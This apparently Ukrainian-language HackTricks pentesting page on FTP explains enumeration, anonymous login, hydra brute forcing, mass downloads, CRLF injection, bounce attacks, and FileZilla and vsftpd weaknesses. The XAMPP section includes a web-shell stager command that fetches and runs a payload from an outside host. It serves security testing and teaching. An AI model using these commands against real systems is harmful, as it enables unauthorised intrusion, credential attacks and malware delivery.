21 - Pentesting FTP

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

The File Transfer Protocol (FTP) слугує стандартним протоколом для передачі файлів у комп’ютерній мережі між сервером та клієнтом.
Це plain-text протокол, який використовує як символ нового рядка 0x0d 0x0a, тому іноді потрібно підключатися за допомогою telnet або nc -C.

Порт за замовчуванням: 21

PORT   STATE SERVICE
21/tcp open  ftp

Connections Active & Passive

У Active FTP FTP client спочатку ініціює контрольне з’єднання зі свого порту N до командного порту FTP Server – порту 21. Потім client прослуховує порт N+1 і повідомляє номер порту N+1 FTP Server. FTP Server після цього ініціює передачу даних — з’єднання від свого порту M до порту N+1 FTP Client.

Але якщо у FTP Client налаштовано firewall, який контролює вхідні з’єднання даних ззовні, то Active FTP може бути проблемою. І реальним рішенням для цього є Passive FTP.

У Passive FTP client ініціює контрольне з’єднання зі свого порту N до порту 21 FTP Server. Після цього client відправляє команду passv comand. Сервер надсилає клієнту один зі своїх номерів порту M. І client ініціює передачу даних — з’єднання зі свого порту P до порту M FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Connection debugging

Команди FTP debug та trace можна використовувати, щоб побачити як відбувається комунікація.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Підключення до FTP за допомогою starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

За допомогою nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Ви можете використовувати команди HELP та FEAT, щоб отримати деяку інформацію про FTP-сервер:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Анонімний вхід

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Тут можна знайти хороший список дефолтних ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Автоматизовано

Перевірки Anon login та bounce FTP виконуються за замовчуванням nmap з опцією -sC або:

nmap --script ftp-* -p 21 <ip>

Підключення через браузер

Ви можете підключитися до FTP-сервера за допомогою браузера (наприклад, Firefox), використовуючи URL на кшталт:

ftp://anonymous:anonymous@10.10.10.98

Зверніть увагу: якщо web application відправляє дані, контрольовані користувачем, directly to a FTP server, ви можете відправити байти double URL encode %0d%0a (у double URL encode це %250d%250a) і змусити FTP server perform arbitrary actions. Одна з можливих таких довільних дій — завантаження контенту з сервера, контрольованого користувачем, виконання port scanning або спроба взаємодії з іншими сервісами на основі plain-text (наприклад http).

Завантажити всі файли з FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Якщо у user/password є спеціальні символи, following command можна використати:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD часто відображає FTP root у /opt/lampp/htdocs, тому слабкі облікові дані сервісних акаунтів на кшталт daemon або nobody дозволяють вам upload a PHP web shell directly into the served webroot.
  • Після завантаження викличте architecture-aware download/exec stager через shell, наприклад: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), який завантажує checksum-validated payload, зберігає його (наприклад, init_start), виконує chmod +x і запускає його.
  • Якщо поточний каталог не записуваний/не виконуваний, stager відкотиться до /tmp, тому після завантаження перевіряйте web-шляхи та права файлової системи.

Some FTP commands

  • USER username
  • PASS password
  • HELP Сервер показує, які команди підтримуються
  • PORT 127,0,0,1,0,80 Ця команда вкаже FTP-серверу встановити з’єднання з IP 127.0.0.1 на порті 80 (потрібно вказати 5-й байт як “0” і 6-й як порт у десятковому або використати 5-й і 6-й для вираження порту в hex).
  • EPRT |2|127.0.0.1|80| Ця команда вкаже FTP-серверу встановити TCP-з’єднання (позначене “2”) з IP 127.0.0.1 на порті 80. Ця команда підтримує IPv6.
  • LIST Повертає список файлів у поточній папці
  • LIST -R Список рекурсивно (якщо дозволено сервером)
  • APPE /path/something.txt Вказує FTP зберегти дані, отримані з пасивного з’єднання або з PORT/EPRT з’єднання, у файл. Якщо ім’я файлу існує, дані додаються в кінець.
  • STOR /path/something.txt Як APPE, але перезаписує файл
  • STOU /path/something.txt Як APPE, але якщо файл існує — нічого не робить.
  • RETR /path/to/file Потрібно встановити пасивне або портове з’єднання. Потім FTP-сервер відправить вказаний файл через це з’єднання
  • REST 6 Вказує серверу, що наступного разу при відправці з RETR слід почати з 6-го байта.
  • TYPE i Встановлює передачу у двійковому режимі
  • PASV Відкриває пасивне з’єднання і повідомляє клієнту, куди підключатися
  • PUT /tmp/file.txt Відправляє вказаний файл на FTP

FTPBounce attack

Деякі FTP-сервери дозволяють команду PORT. Цю команду можна використати, щоб вказати серверу, що ви хочете підключитися до іншого FTP-сервера на певному порті. Тоді ви можете використати це, щоб просканувати, які порти хоста відкриті через FTP-сервер.

Дізнайтеся тут, як зловживати FTP сервером для сканування портів.

Ви також можете зловживати цією поведінкою, щоб змусити FTP-сервер взаємодіяти з іншими протоколами. Ви можете upload a file containing an HTTP request і змусити вразливий FTP-сервер send it to an arbitrary HTTP server (можливо, щоб додати нового адміністратора?) або навіть завантажити FTP-запит і змусити вразливий FTP-сервер скачати файл з іншого FTP-сервера. Теорія проста:

  1. Upload the request (inside a text file) to the vulnerable server. Пам’ятайте, що якщо ви хочете спілкуватися з іншим HTTP або FTP-сервером, потрібно змінити кінці рядків на 0x0d 0x0a
  2. Use REST X to avoid sending the characters you don’t want to send (можливо, щоб завантажити запит у файл, вам доведеться додати якийсь image header на початку)
  3. Use PORTto connect to the arbitrary server and service
  4. Use RETRto send the saved request to the server.

Цілком ймовірно, що це викличе помилку на кшталт Socket not writable тому що з’єднання не триває достатньо довго, щоб відправити дані через RETR. Спробуйте наступне, щоб цього уникнути:

  • Якщо ви відправляєте HTTP-запит, повторіть той самий запит один за одним поки загальний об’єм не досягне принаймні ~0.5MB. Наприклад:

  • Спробуйте заповнити запит “сміттєвими” даними, релевантними протоколу (при зверненні до FTP це можуть бути просто випадкові команди або повторення інструкції RETR, щоб отримати файл)
  • Просто заповніть запит великою кількістю нульових символів або інших (поділених по рядках або ні)

Так чи інакше, ось у вас є старий приклад про те, як зловживати цим, щоб змусити FTP-сервер завантажити файл з іншого FTP-сервера.

Filezilla Server Vulnerability

FileZilla зазвичай binds до local an Administrative service для FileZilla-Server (порт 14147). Якщо ви можете створити tunnel з your machine, щоб отримати доступ до цього порту, ви можете connect до it використовуючи blank password і create new user для FTP-сервісу.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

Файл конфігурації за замовчуванням для vsFTPd знаходиться за адресою /etc/vsftpd.conf. Тут можна знайти деякі небезпечні налаштування:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Каталог для анонімних користувачів.
  • chown_uploads=YES - Змінює власника файлів, завантажених анонімно.
  • chown_username=username - Користувач, якому надається власність над файлами, завантаженими анонімно.
  • local_enable=YES - Дозволяє локальним користувачам входити.
  • no_anon_password=YES - Не запитувати пароль у анонімних користувачів.
  • write_enable=YES - Дозволяє команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks